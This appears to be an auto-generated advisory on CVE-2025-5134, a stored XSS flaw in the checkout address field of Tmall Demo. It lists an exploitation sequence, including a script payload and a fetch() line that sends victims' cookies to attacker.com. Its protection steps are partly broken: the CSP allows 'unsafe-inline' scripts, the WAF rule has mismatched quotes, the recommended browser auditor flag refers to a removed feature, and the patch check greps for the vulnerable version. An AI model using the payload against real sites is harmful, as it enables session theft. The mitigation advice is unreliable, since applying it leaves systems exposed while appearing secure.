Listen to this Post
How CVE-2025-5134 Works
The vulnerability in Tmall Demo (up to version 20250505) resides in the “Buy Item Page” component, specifically within the “Detailed Address” input field. Due to insufficient input sanitization, an attacker can inject malicious JavaScript payloads via this parameter. When a victim views the manipulated address field, the script executes in their browser, leading to Cross-Site Scripting (XSS). The attack is remotely exploitable and requires low privileges, relying on user interaction (UI:P). The CVSS 4.0 vector (AV:N/AC:L/PR:L/UI:P) confirms network-based exploitation with low attack complexity.
DailyCVE Form
Platform: Tmall Demo
Version: ≤ 20250505
Vulnerability: Stored XSS
Severity: Medium (CVSS 5.1)
Date: 2025-05-24
Prediction: Patch expected by 2025-07-15
What Undercode Say:
Exploitation
1. Payload Injection:
<script>alert(document.cookie)</script>
Inserted into “Detailed Address” field during checkout.
2. Persistence:
Payload stored in backend, triggering upon page reload.
3. Exfiltration:
fetch('https://attacker.com/steal?data='+btoa(document.cookie));
Protection
1. Input Sanitization:
$address = htmlspecialchars($_POST['address'], ENT_QUOTES, 'UTF-8');
2. CSP Header:
Content-Security-Policy: default-src 'self'; script-src 'unsafe-inline'
3. WAF Rules:
location /buy {
modsecurity_rules 'SecRule ARGS "@detectXSS" deny";
}
4. Patch Verification:
curl -I https://tmall.demo/api/version | grep "20250505"
5. Exploit Detection:
import re
if re.search(r'<script.?>', user_input):
raise ValueError("XSS Detected")
6. Mitigation Workaround:
Disable HTML rendering in address fields via:
document.getElementById('address').textContent = userInput;
7. Log Analysis:
grep -r "eval(" /var/log/tmall/access.log
8. Vendor Advisory:
Monitor Tmall’s GitHub for commits containing:
+ sanitizeAddress()
9. Browser Protection:
Enable Chromium’s XSS Auditor:
chrome --enable-xss-auditor
10. Automated Scanning:
Use OWASP ZAP:
zap-cli quick-scan -s xss https://tmall.demo/buy
Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
Undercode
